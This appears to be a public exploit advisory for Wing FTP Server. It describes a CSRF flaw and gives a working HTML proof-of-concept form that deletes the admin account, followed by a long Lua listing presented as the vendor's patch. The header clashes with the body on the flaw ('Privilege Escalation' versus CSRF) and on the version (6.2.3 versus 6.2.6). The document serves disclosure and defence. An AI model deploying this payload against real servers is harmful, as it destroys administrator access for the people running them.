1979df6cb3
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319 lines
No EOL
7.3 KiB
Text
319 lines
No EOL
7.3 KiB
Text
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
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# Date: 2020-03-10
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# Exploit Author: Dhiraj Mishra
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# Vendor Homepage: https://www.wftpserver.com
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# Version: v6.2.6
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# Tested on: Windows 10
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*Summary:*
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An authenticated CSRF exists in web client and web administration of Wing
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FTP v6.2.6, a crafted HTML page could delete admin user from the
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application where as administration needs to re-install the program and add
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admin user again. Issue was patched in v6.2.7.
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*Proof of concept:*
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<html>
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="http://IP:5466/admin_delete_admin.html" method="POST">
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<input type="hidden" name="username" value="admin" />
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<input type="hidden" name="r" value="0.9219583354400562" />
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<input type="submit" value="Submit request" />
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</form>
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</body>
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</html>
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*Patch (lua/cgiadmin.lua):*
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URL: https://www.wftpserver.com/serverhistory.htm
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local outfunc = "echo"
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local function out (s, i, f)
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s = string.sub(s, i, f or -1)
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if s == "" then return s end
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s = string.gsub(s, "([\\\n\'])", "\\%1")
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s = string.gsub(s, "\r", "\\r")
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return string.format(" %s('%s'); ", outfunc, s)
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end
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local function translate (s)
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s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>")
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local res = {}
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local start = 1
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while true do
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local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[
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\t]*(=?)(.-)%?%?>", start)
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if not ip then break end
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table.insert(res, out(s, start, ip-1))
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if target ~= "" and target ~= "lua" then
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table.insert(res, out(s, ip, fp))
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else
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if exp == "=" then
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table.insert(res, string.format(" %s(%s);", outfunc, code))
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else
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table.insert(res, string.format(" %s ", code))
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end
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end
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start = fp + 1
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end
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table.insert(res, out(s, start))
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return table.concat(res)
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end
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local function compile (src, chunkname)
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return loadstring(translate(src),chunkname)
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end
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function include (filename, env)
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if incfiles[filename] == nil then
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incfiles[filename] = true;
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path = c_GetAppPath()
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path = path .. "/webadmin/"..filename
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local errstr = string.format("<b>The page '%s' does not
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exist!</b>",filename)
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local fh,_ = io.open (path)
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if not fh then
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echo_out = echo_out..errstr
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return
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end
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local src = fh:read("*a")
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fh:close()
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local prog = compile(src, path)
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local _env
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if env then
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_env = getfenv (prog)
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setfenv (prog, env)
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end
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local status,err = pcall(prog)
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if not status then
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if type(err) == "string" and not string.find(err,"exit function!") then
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print(string.format("some error in %s!",err))
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end
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return
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end
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end
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end
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function var_dump(var)
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print("{")
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if type(var) == "string" or type(var) == "number" or type(var) == "boolean"
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or type(var) == "function" then
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print(var)
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elseif(type(var) == "thread") then
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print("thread")
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elseif(type(var) == "userdata") then
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print("userdata")
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elseif type(var) == "nil" then
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print("nil")
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elseif type(var) == "table" then
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for k,v in pairs(var) do
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if type(k) == "string" then k="'"..k.."'" end
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if(type(v) == "string") then
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print(k.."=>'"..v.."',")
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elseif(type(v) == "number" or type(v) == "boolean") then
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print(k.."=>"..tostring(v)..",")
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elseif(type(v) == "function") then
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print(k.."=>function,")
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elseif(type(v) == "thread") then
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print(k.."=>thread,")
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elseif(type(v) == "userdata") then
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print(k.."=>userdata,")
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elseif(type(v) == "nil") then
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print(k.."=>nil,")
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elseif(type(v) == "table") then
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print(k.."=>table,")
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else
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print(k.."=>object,")
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end
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end
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else
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print("object")
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end
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print("}")
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end
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function init_get()
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local MatchedReferer = true
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if _SESSION_ID ~= nil then
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local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
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if Referer ~= nil and Referer ~= "" then
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local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
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if Host ~= nil and Host ~= "" then
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if string.sub(Referer,8,string.len(Host)+7) == Host or
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string.sub(Referer,9,string.len(Host)+8) == Host then
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MatchedReferer = true
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else
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MatchedReferer = false
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exit()
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end
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end
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else
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MatchedReferer = false
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end
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end
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string.gsub (urlparam, "([^&=]+)=([^&=]*)&?",
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function (key, val)
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if key == "domain" then
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if MatchedReferer == true then
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rawset(_GET,key,val)
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else
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rawset(_GET,key,specialhtml_encode(val))
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end
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else
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if MatchedReferer == true then
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rawset(_GET,unescape(key),unescape(val))
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else
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--rawset(_GET,unescape(key),specialhtml_encode(unescape(val)))
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end
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end
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end
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)
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end
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function init_post()
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local MatchedReferer = true
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if _SESSION_ID ~= nil then
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local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
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if Referer ~= nil and Referer ~= "" then
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local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
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if Host ~= nil and Host ~= "" then
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if string.sub(Referer,8,string.len(Host)+7) == Host or
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string.sub(Referer,9,string.len(Host)+8) == Host then
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MatchedReferer = true
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else
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MatchedReferer = false
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exit()
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end
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end
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else
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MatchedReferer = false
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end
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end
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if
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string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=")
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then
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string.gsub (strContent,
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"[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n",
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function (key, val)
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if key == "domain" then
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if MatchedReferer == true then
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rawset(_POST,key,val)
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else
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rawset(_POST,key,specialhtml_encode(val))
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end
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else
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if MatchedReferer == true then
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rawset(_POST,unescape(key),unescape(val))
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else
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--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
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end
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end
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end
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)
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else
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string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?",
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function (key, val)
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if key == "domain" then
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if MatchedReferer == true then
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rawset(_POST,key,val)
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else
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rawset(_POST,key,specialhtml_encode(val))
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end
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else
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if MatchedReferer == true then
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rawset(_POST,unescape(key),unescape(val))
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else
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--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
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end
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end
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end
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)
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end
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end
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function init_session()
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if _COOKIE["UIDADMIN"] ~= nil then
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_SESSION_ID = _COOKIE["UIDADMIN"]
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SessionModule.load(_SESSION_ID)
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end
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end
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function init_cookie()
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local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)")
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if cookiestr == nil or cookiestr == "" then return end
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string.gsub (cookiestr, "([^%s;=]+)=([^;=]*)[;%s]?",
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function (key, val)
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rawset(_COOKIE,unescape(key),unescape(val))
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end
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)
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end
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function setcookie(name,value,expire_secs)
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if name == "UIDADMIN" then return end
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local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT",
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os.time()+3600*24*365)
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_SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value..";
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expires="..expiretime.."\r\n"
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rawset(_COOKIE,name,value)
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end
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function getcookie(name)
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if name == "UIDADMIN" then return end
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return _COOKIE[name]
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end
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function deletecookie(name)
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setcookie(name,"",-10000000)
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end
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function deleteallcookies()
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for name,_ in pairs(_COOKIE) do
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deletecookie(name)
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end
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end
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local cookie_metatable =
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{
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__newindex = function(t,k,v)
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setcookie(k,v,360000)
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end
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}
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setmetatable(_COOKIE,cookie_metatable)
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session_metatable =
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{
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__newindex = function(t,k,v)
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if type(v) ~= "table" then
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if k ~= nil then
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k = string.gsub(k,"'","")
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k = string.gsub(k,"\"","")
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end
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if v ~= nil then
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--v = string.gsub(v,"%[","")
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--v = string.gsub(v,"%]","")
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end
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rawset(_SESSION,k,v)
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SessionModule.save(_SESSION_ID)
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end
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end
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}
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--setmetatable(_SESSION,session_metatable)
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function init_all()
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init_cookie()
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init_session()
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init_get()
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init_post()
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end
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function setContentType(typestr)
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_CONTENTTYPE = typestr
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end
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function exit()
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error("exit function!")
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end |